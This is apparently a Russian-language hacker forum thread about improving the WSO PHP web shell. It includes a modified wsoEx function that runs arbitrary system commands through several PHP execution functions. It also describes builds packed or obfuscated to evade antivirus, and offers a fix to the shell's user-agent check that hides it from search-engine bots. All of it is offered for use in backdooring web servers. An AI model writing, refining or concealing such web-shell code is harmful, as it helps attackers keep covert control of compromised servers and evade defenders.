Справа в "консоли" есть скролл. Если присмотреться, то видно, что скролл не на всю высоту "консоли". Нижняя строчка - это и есть поле ввода.
вот ещё, в консоле под unix системами не видно ошибок, постоянно добавляю 2>&1 в конец. можно как-то это исправить?
изминить малость функцию wsoEx и все готово, больше не придется добавлять в конце 2>&1 PHP: <?php //...... function wsoEx($in) { $out = ''; $in .= ' 2>&1'; // - Добавляет в конец команды if(function_exists('exec')) { @exec($in,$out); $out = @join("\n",$out); }elseif(function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); }elseif(function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); }elseif(function_exists('shell_exec')) { $out = shell_exec($in); }elseif(is_resource($f = @popen($in,"r"))) { $out = ""; while(!@feof($f)) $out .= fread($f,1024); pclose($f); } return $out; } ?>
wso2_pack - Упакован хитрым способом, чтоб антивирусами не полился. wso2_pack2 - Не упакован, так сказать слегка обфусцирован, удалены \r\n, местами записан в строчку. wso2 - Не упакован, код читабельный.
небольшой недочет: PHP: $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); foreach($userAgents as $agent) if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) { Дело в том что например бот msn, подписывается сейчас по крайней мере msnbot, т.е скрипт даст ему проиндексировать. Для сравнения можно использовать, такую конструкцию: PHP: $allBots = implode('|', $userAgents); if (preg_match('/'.$allBots.'/i', $_SERVER['HTTP_USER_AGENT'])) {